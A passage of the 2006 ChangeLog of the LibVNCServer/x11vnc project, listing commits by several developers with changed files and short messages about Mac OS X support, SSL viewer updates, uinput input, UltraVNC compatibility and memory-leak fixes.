classes/ssl/Makefile.am, classes/ssl/README: rename to ss_vncviewer 2006-11-23 runge * classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename ssl_vncviewer to ss_vncviewer 2006-11-23 runge * classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer 2006-11-22 runge * configure.ac: use AC_CHECK_LIB for fbpm and dpms 2006-11-21 runge * configure.ac: enable --without-fbpm and --without-dpms 2006-11-21 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms option, local user wireframing 2006-11-21 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to 1.0.8 and renaming 2006-11-21 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: delete 2006-11-21 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename 2006-11-13 runge * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X support. 2006-11-08 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp over, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin stuff. Sync to current 1.0.7 2006-11-08 runge * ChangeLog, classes/ssl/ssl_vncviewer, configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx, prepare_x11vnc_dist.sh rpm fix 2006-10-30 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to reenable RECORD extension. 2006-10-12 dscho * VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add sendascii 2006-10-12 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc. 2006-10-11 runge * libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS check does not work if libz is not present. 2006-10-10 dscho * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add 'i', 'c' and 'r' menu keys 2006-10-10 dscho * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add --compact and --compact-dragging 2006-10-07 runge * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca tion.url, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double SSL/SSH. 2006-09-24 runge * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java viewer, cleanup -unixpw code. 2006-09-21 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync etv. profile cleanup 2006-09-21 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer 2006-09-18 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l: ETV release 1.0.4 2006-09-18 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync ETV 1.0.4 2006-09-18 runge * libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc: improve ultravnc filexfer rate by calling rfbCheckFD more often 2006-09-17 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l: Sync ETV. 2006-09-17 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose, -connect_or_exit, -rfbport 0, print out SSL cert. 2006-09-15 runge * x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: small tweaks, -sig alias. 2006-09-15 runge * libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for -unixpw su_verify, user supplied sig ignore. 2006-09-14 runge * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl oad.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down load.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca tion.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo ad.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc e.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down load.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca tion.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do wnload.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo cation.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co nf, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co nf, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, x11vnc/misc/enhanced_tightvnc_viewer/src/README, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa tch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu llscreen.patch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne wfbsize.patch, x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: enhanced_tightvnc_viewer files, ssh -t keystroke response improvement. 2006-09-12 dscho * VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place compilation of VisualNaCro 2006-09-12 dscho * VisualNaCro/recorder.pl: fix call to alert() 2006-09-12 dscho * VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display the current reference image 2006-09-12 dscho * VisualNaCro/nacro.h: forgot to check in nacro.h 2006-09-12 dscho * VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband for rectangular selection 2006-09-12 dscho * VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation with cygwin 2006-09-12 dscho * rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not always include rfb/keysym.h 2006-09-12 dscho * AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support clipboard and symbolic key names with X11::Keysyms 2006-09-12 dscho * VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard 2006-09-11 dscho * libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling using a hook 2006-09-10 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS, EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT 2006-09-05 runge * classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update ssl_vncviewer. Fix bug in proxy.vnc with multiple PORT= params. 2006-08-10 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at touchscreens via uinput. 2006-08-02 runge * x11vnc/ChangeLog: add to changelog 2006-08-02 runge * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: tweaks to ssl_xfer; -ssltimeout option. 2006-07-31 runge * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer project 2006-07-29 runge * classes/ssl/ssl_vncviewer: one more tweak, start from disp 30 2006-07-29 runge * classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config. 2006-07-28 runge * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c, x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: -rotate option 2006-07-18 runge * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h, x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x builds for -rawfb only binaries. 2006-07-15 runge * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: update versions for next rel. add some more shortcuts to user:opts 2006-07-12 runge * ChangeLog, configure.ac: LibVNCServer 0.8.2 release. 2006-07-12 runge * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: set REL8x 2006-07-12 runge * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c, x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording changes; remove "-rawfb cons" in favor of "console" 2006-07-11 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more UINPUT mode tweaks. 2006-07-10 runge * x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button clicks work on qt-embedded. 2006-07-09 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support for full input into linux fb device (e.g. qt-embed). 2006-07-05 runge * x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong place for old compilers. 2006-07-04 runge * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return values. 2006-07-04 runge * x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c, x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps. 2006-07-04 runge * configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove compiler warnings; HP-UX tweaks. 2006-07-04 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: more -unixpw work. add -license, etc. options 2006-06-24 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c, x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: misc cleanup. 2006-06-18 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h, x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds, unixpw+WAIT user fred:options 2006-06-15 dscho * VisualNaCro/README: fix typo 2006-06-15 dscho * VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: no need for Time::HiRes to play back 2006-06-15 dscho * VisualNaCro/recorder.pl: add timing 2006-06-13 runge * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY, HTTPONCE, -http_ssl option, Java fixes. 2006-06-09 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: x11vnc: make -display WAIT + -unixpw work on Solaris. 2006-06-08 runge * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command. 2006-06-05 steven_carr * libvncclient/rfbproto.c, libvncserver/auth.c, libvncserver/rfbserver.c: RFB 3.8 clients are well informed 2006-06-05 steven_carr * libvncserver/auth.c: Better support for RFB >= 3.8 protocols 2006-06-05 steven_carr * libvncserver/auth.c: All security types for RFB >= 3.7 *have* to respond with a Security Result (Even rfbSecTypeNone) 2006-06-03 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons. 2006-06-03 runge * libvncserver/auth.c: move all types into handler loop. 2006-05-29 steven_carr * ChangeLog: Identified and removed some memory leaks associated with the Encodings RRE, CoRRE, ZLIB, and Ultra. KeyboardLedState now has portable masks defined. rfb >= 3.7 Security Type Handler list would grow 1 entry for each new client connection. 2006-05-29 steven_carr * libvncserver/auth.c: Security Type memory leak plugged. Leaks when rfb >= 3.7 clients connects. The security list would grow 1 entry when clients connect. 2006-05-28 steven_carr * rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined for portability 2006-05-28 steven_carr * libvncserver/corre.c, libvncserver/main.c, libvncserver/private.h, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: Plugged some memory leakage 2006-05-16 steven_carr * libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major version 2006-05-16 steven_carr * libvncserver/auth.c: Specifically test for Major Version 3 added 2006-05-16 steven_carr * ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column output 2006-05-16 steven_carr * libvncserver/stats.c: Statistics output now fits in 80-column output 2006-05-16 steven_carr * libvncserver/cursor.c: Corrected Cursor Statistics reporting as messages 2006-05-15 dscho * libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded file 2006-05-15 steven_carr * libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat messages back to the client 2006-05-15 steven_carr * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB 3.8, add command line option to specify the RFB version. 2006-05-15 steven_carr * ChangeLog, client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c, libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c, libvncserver/tightvnc-filetransfer/rfbtightproto.h, libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c, x11vnc/userinput.c: The great UltraVNC Compatibility Commit 2006-05-13 runge * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, libvncclient/minilzo.c, libvncclient/minilzo.h, libvncserver/lzoconf.h, libvncserver/minilzo.c, libvncserver/minilzo.h, libvncserver/rfbserver.c, libvncserver/scale.c, vncterm/Makefile.am: fix some build issues WRT ultravnc code. 2006-05-07 runge * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c, x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp option, -rawfb console. 2006-05-04 steven_carr * ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability Encodings rfbEncodingSupportedEncodings - What encodings are supported? rfbEncodingSupportedMessages - What message types are supported? rfbEncodingServerIdentity - What is the servers version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer 0.9pre)" 2006-05-04 steven_carr * libvncclient/rfbproto.c: UltraVNC with scaling, will send rectangles with a zero W or H We need to process the rectangle (especially if it a type that contains subrectangles or any kind of compression). UltraVNC should be fixed to prevent these useless rectangles from being sent. 2006-05-04 steven_carr * libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server Side Scaling' 2006-05-04 steven_carr * rfb/rfbproto.h: KeyboardLedState should be placed in 'various protocol extensions' 2006-05-03 steven_carr * ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c, libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, libvncserver/scale.h, 